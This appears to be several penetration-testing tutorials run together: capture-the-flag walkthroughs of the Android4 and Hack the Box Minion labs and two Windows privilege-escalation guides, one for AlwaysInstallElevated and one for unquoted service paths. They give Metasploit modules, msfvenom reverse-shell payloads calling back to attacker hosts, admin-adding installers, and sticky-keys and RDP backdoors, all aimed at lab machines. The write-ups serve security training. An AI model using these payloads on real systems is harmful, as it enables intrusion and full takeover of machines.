Hack the Android4: Walkthrough (CTF Challenge)

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Android4 which is made by Touhid Shaikh. You can find the link to download this vulnerable VM here (https://www.vulnhub.com/entry/android4-1,233/).

The level of this vulnerable vm, that I would rate, is beginner.

Steps involved:

1. Port scanning and IP discovery

2. Attacking port 8080 proxy using adb_server_exec

3. Connection to the device using ADB.

4. Shell grabbing.

5. Privilege escalation and reading congratulatory flag.

Let’s get started then!

First we’ll grab the IP address using netdiscover utility present in Kali Linux.

netdiscover

In my case the IP address is 192.168.1.105

The second step is as usual port scanning. In this scan we’ll be using an all port aggressive scan using the most popular tool nmap.

nmap - p -  -A 192.168.1.105

From this we established that there is some kind of web page related to the port 8080.

Without any delay we opened the webpage but found nothing.

Anyone would establish that there is some kind of verbal tampering involved using POST method. We tried but didn’t find anyting useful.

After trying a few other methods (PHP CLI and Dropbear RCE) here is one method that we found the best for our cause.

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:

·      A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.

·      A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.

·      A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.

When you start an adb client, the client first checks whether there is an adb server process already running. If there isn't, it starts the server process

To start an ADB server we used metasploit:

use exploit/android/adb/adb_server_exec

set RHOST 192.68.1.105

set payload linux/armle/shell_reverse_tcp

set LHOST 192.168.1.108

set LPORT 3333

exploit

(It is quite possible that the local port won’t accept connection. In such a case, we change the default port from 4444 to 3333s)

If you don’t have adb installed you can install it by sudo apt-get install adb

Once the status shows “Connecting to device, ” on a new terminal window type the command:

adb connect 192.168.1.105:5555

adb shell

In shell:

ls

to go to the defaullt directory:

cd

su

Voila! We got a root shell!

In /data directory we found a folder called “root”

cd /data

ls

Final step was reading the congratulatory flag:

cd /root

ls

cat flag.txt

Hack the Box: Minion Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.

nmap -sV -p- 10.10.10.57 –open

From given below image, you can observe that we find port 62696 is open on target system.

As port 62696 is running IIS http service, we open the IP address in our browser on port 62696.

We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find .asp file.

dirb http://10.10.10.57:62696 -X .asp

Dirb scan gave us a link to page called test.asp, we open the link and find a page that is asking for u as its parameter.

After enumerating this system, we find that this page is vulnerable to SSRF. So when we try access localhost we find a link called system commands.

As we are not directly accessing the page, we take a look at the source code and find the link to system command.

We open it using SSRF and find a form that can be used to execute our commands.

When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.

After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.

Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.

We setup tcpdump to capture the icmp packets and find that icmp packets are allowed.

tcpdump -i tun0 icmp

We create an icmp reverse shell because few characters are blacklisted on the server.

We run it on the vulnerable page that we found earlier.

We create our custom reverse shell (you can download here), we run it and after a few moments we get a reverse shell. We take look at the c:\ directory and find a directory called “sysadmscripts”.

We go to root directory and find two files called “c.ps1” and “del_logs.bat”.

We take a look at the content of the file, and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and find that the time is changed every 5 minutes.

Now we check the permissions for both of these files with icacls and find that we have full

permissions over c.ps1.

icacls c.ps1

Now we change the original c.ps1 with our file, so that we can try and get the user.txt and root.txt.

echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1

echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1

echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1

echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1

(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1

copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak

copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1

We wait for few minutes for the powershell script to get executed and find that we were able to successfully able to extract “user.txt”. We open the file and find the first flag. We also zip file called “backup.zip”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.

Enumerating further backup.zip file we extract PASS from alternate data stream files.

get-content c:\temp\backup.zip -str pass

We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test.

We mount the C$-Share using the credentials we found by cracking the hash.

net use * \\minion\c$ /user:minion\administrator 1234test

As we can see the hard disk got mounted as “Drive Z:”. We go to Z: drive and inside “z:\User\Administrator\Desktop”. We find two files called root.txt and root.exe, when take a look at the content of “root.txt” it tells us to run “root.exe”. We try to run root.exe but are unable to get a flag because we are not Administrator yet.

Let’s set users as administrator using $user and giving the password using $pass and then convert the string using convert-to-securestring-asplaintext-force using the PSCredetail we created the a new object that further will help us to create a new session which will run the commands as administrator. Lastly we will run the root.exe using the invoke-command. And as you can see in the given screenshot we have decoded successfully the securestring.

$user = “minion\administrator”

$pass = “1234test” | convert to-securestring – asplaintext –force

$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass

$session = new-pssession minion –Credential $cred

invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}

Windows Privilege Escalation (AlwaysInstallElevated)

Hello Friends!! In this article we are demonstrating the Windows privilege escalation method via the method of AlwaysInstallElevated policy. In penetration testing, when we spawn command shell as local user, it is possible to exploit the vulnerable features (or configuration settings) of Windows Group policy, to further elevate them to admin privileges and gain the administrator access

Table of Content

• Introduction
• Lab setup
• Spawn command shell as local user
• Escalate privilege manually via .msi payload (MSfvenom)
• Escalated privilege via Adding user Administrators Group (Msfvenom)
• Escalate privilege via Post exploit (Metasploit)

Introduction

AlwaysInstallElevated Policy

As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users

For this purpose the AlwaysInstallElevated policy feature is used to install a MSI package file with elevated (system) privileges. This policy if enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high security risk, because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.

Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in Production environment)

Lab set-up

Victim’s Machine: Windows 7

Attacker’s machine: Kali Linux

To make this policy effective [i.e install a package with elevated (system) privileges], we need to ensure that victim machine is deliberately made vulnerable by enabling the AlwaysInstalledElevated Policy in the Computer Configuration and User Configuration folders of the Local Group Policy editor

1. Open the Local Group Policy editor

Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local group Policy editor window prompt will open

2. Change the settings of AlwaysInstalledElevated policy

a. For the Computer configuration

Navigate to the below path in the Windows machine

Computer Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

b. For the User configuration

Navigate to the below path in the Windows machine

User Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

This completes the lab setup on the Windows machine .Now let’s proceed to our actual task.

Spawning Victim’s Machine

We need to compromise the Windows victim machine at least once to gain the meterpreter session. As you can observe that we already have victim’s metrepreter session. Let’s open the msfconsole and check the existing current sessions

msfconsole

sessions

As we can see that there exists a session already with the ID 1 . Now let’s open the session 1 and extract the user details

Meterpreter > sessions 1

Meterpreter >getuid

As we can see that we are logged into this session with the username as raj.

Note : The existing user “raj” already exists in the Windows 7 victim machine and is a non-admin user

Now let’s open the command shell of the target machine

Meterpreter >shell

Upon executing the shell command, we would land into the user’s Downloads folder C:\Users\raj\Downloads

We will now run the registry query command on this command prompt so as to verify whether the Windows installer have elevated privileges or not, as per our settings configured earlier

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

As we can see from the output that the registry named “AlwaysInstallElevated” exists with a dword (REG_WORD) value of 0x1, which means that the AlwaysInstallElevated policy is enabled.

Privilege Escalation via .msi payload (1^st Method)

Now let’s open a new terminal in Kali machine and generate a MSI Package file (1.msi ) utilizing the Windows Meterpreter payload as follows

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f  msi > /root/Desktop/1.msi

On the existing Meterpreter session of the user, let’s upload our MSI file named 1.msi to the target machine as follows. Once it is uploaded successfully, we will then jump to the shell

upload /root/Desktop/1.msi  .

Note: Before executing the MSI Package file, let's start a MSF handler in another terminal window

(Refer to the commands for same, after the below screenshot)

Execute the MSI package file on the Windows command prompt

msiexec /quiet /qn /i  1.msi

/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation

In a parallel window, we opened a new handler before executing the .msi file

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.120

msf exploit(handler) > set lport 4567

msf exploit(handler) > exploit

Finally we got the meterpreter session using this exploit!!  Let’s have further look at the details of the user privileges we gained on this system

Meterpreter > getsystem

Meterpreter > getuid

Fantastic!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system.

Adding user in Administrators Group (2^nd Method)

In this method we will choose a non-admin user from the existing list of users in the target machine and then try to elevate his privileges. Here we will send the relevant Windows commands (to the target machine) , utilizing the windows/exec payload of the Metasploit.

First let us check the details of existing users in the victim machine. Here we can select any user , lets; select a user named “raaz” who is a non-admin user

net user

The verification that the user name “raaz” is in the Local Users group can be done by running the following in the command prompt

net user raaz

Generate a MSI package (2.msi ) with the windows/exec payload, that sends a command instructing to add local admin privileges for the user “raaz” , to the target machine.

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f  msi > /root/Desktop/2.msi

Now let’s upload the MSI file 2.msi to the target machine as follows

Note : Before uploading the MSI file , press Ctrl+Z to exit out of the victim machine’s command shell

In the meterpreter shell type

upload /root/Desktop/2.msi  .

Once the MSI file is uploaded successfully, we will take the command shell and execute the installer file

shell

msiexec /quiet /qn /i  2.msi

The verification that the user name “raaz” has been added into the local administrator group can be done by running the following in the command prompt

net user raaz

As we can see from the screenshot the user raaz is now member of Local Administrators group

Awesome !! We have got the privileges of the non-admin user escalated via using the manual exploit .

Privilege Escalation via Metasploit Post Exploit (3^rd Method)

In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy , we can also utilize the inbuilt exploit of the Metasploit module as follows :

Now let’s use this exploit

use exploit/windows/local/always_install_elevated

msf exploit(always_install_elevated) > set session 1

msf exploit(always_install_elevated) > exploit

We got the meterpreter session using the in-built exploit as well !! Now lets have further look at the details of the user privileges

Meterpreter > get system

Meterpreter > getuid

Hurrah!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system

Note : We have shown one of the methodologies to elevate the privileges .This lab can be performed in multiple ways , as there are many other methods of performing the Windows privilege escalation.

Windows Privilege Escalation (Unquoted Path Service)

Hello Friends!! In this article we are demonstrating Windows privilege escalation via Unquoted service Path.  In penetration testing when we spawn command shell as local user, it is not possible to check restricted file or folder, therefore we need to escalated privileges to get administrators access.

Table of content

·         Introduction

·         Lab setup

·         Spawn command shell as local user

·         Escalated privilege via Prepend-migrate

·         Escalated privilege via Adding user Administrators Group

·         Escalated privilege via RDP & Sticky_keys

Introduction

Unquoted service Path Vulnerability

The vulnerability is related to the path of the executable that has a space in the filename and the file name is not enclosed in quote tags (“”) . Also, if it has writable permissions, then an attacker can replace executable  file with its malicious exe file , so as to escalate admin privileges.

Lab set-up

Victim’s Machine: Windows 7

Attacker’s machine: Kali Linux

First we have downloaded and installed a Vulnerable application naming photodex proshow in our windows system, which we found under Exploit DB.

Spawning Victim’s Machine

We need to compromise the windows machine at least once to gain meterpreter session. As you can observe we already have victim’s metrepreter session. Now let’s open the command shell from here.

shell

As you can observe, we have shell access as local_user and to get cmd as administrator we need to escalate its privileges. Firstly we can enumerate out all the services that are running on the victim’s machine and discover those that are not bounded inside quotes tag with help of following command:

wmic service get name,displayname,pathname,startmode |findstr /i “auto” |findstr /i /v “c:\windows\\” |findstr /i /v “””

So we have enumerated following path: C:\Program Files\Photodex\ProShow Producer\Scsiaccess.exe as you can see there is not quotes tag around the path and also space in filename.

Now let’s identify the folder permissions using following command:

icacls Scsiaccess.exe

As you can observe it has writeable permission for everyone which means user raj can overwrite this file.

Escalated privilege via Prepend-migrate

Now we can place any malicious exe file in the same folder that will give admin privilege when the service will be restarted, Windows will launch this executable instead of the genuine exe.

Open the terminal in kali Linux and type following command to generate exe payload using msfvenom.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 prependmigrate=true prepenmigrateprocess=explorer.exe –f exe > /root/Desktop/ Scsiaccess.exe

Above command will create a malicious exe file on the Desktop and now send this file to the victim. The payload migrate its process, if current process gets killed; hence attacker will not lose his session if victim kills the current process ID of the payload from its system.

Now replace genuine executable file from the malicious exe, here I have renamed genuine Scsiaccess.exe to Scsiaccess.exe.orginal and uploaded malicious Scsiaccess.exe in same folder and then reboot the victim’s machine.

move scsiaccess.exe scsiaccess.exe.orginal

upload /root/Desktop/ scsiaccess.exe

reboot

Simultaneously we have start multi/handler listener in a new terminal to catch the meterpreter session with admin privilege.

use exploit/multi/handler

msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp

msf exploit(multi/handler) set lhost 192.168.1.107

msf exploit(multi/handler) set lport 1234

msf exploit(multi/handler) exploit

Yuppie!! And after sometime we got shell with admin privileges.

Escalated privilege via Adding user Administrators Group

After spawning shell as local_user, we enumerated all username list with or without admin privileges. So we found user:raaz is not the member of the admin group.

net user

net user raaz

So again we generated an exe file which will add user:raaz into administrators group. The name of our exe file will be same i.e. Scsiaccess.exe

msfvenom -p windows/exec CMD=’net localgroup administrators raaz /add’ -f exe > /root/Desktop/ scsiaccess.exe

Now repeat the above steps, replace genuine executable file from the malicious exe file and reboot the host machine.

If you will notice the following image, you can observe that the user raaz has become the member of Administrators group.

Escalated privilege via RDP & Sticky_keys

Generate an exe using msfvenom with similar name Scsiaccess.exe and then transfer into victim’s machine, meanwhile run multi handler with auto run script which will enable RDP service once the service gets restarted.

use exploit/multi/handler

msf exploit(multi/handler) set payload windows /meterpreter/reverse_tcp

msf exploit(multi/handler) set lhost 192.168.1.107

msf exploit(multi/handler) set lport 1234

msf exploit(multi/handler) set AutoRunScript post/windows/manage/enable_rdp

msf exploit(multi/handler) exploit

Similarly, we will set the auto run script to enable sticky_keys once the service restarts.

msf exploit(multi/handler) set AutoRunScript post/windows/manage/sticky_keys

msf exploit(multi/handler) run

As you can observe from below screenshot , another meterpreter session (session 3) got opened which has administrative rights. Now let’s connect to victim’s host via RDP.

rdp 192.168.1.101

Now press shift_key 5 times continuously and you will get command prompt as administrator.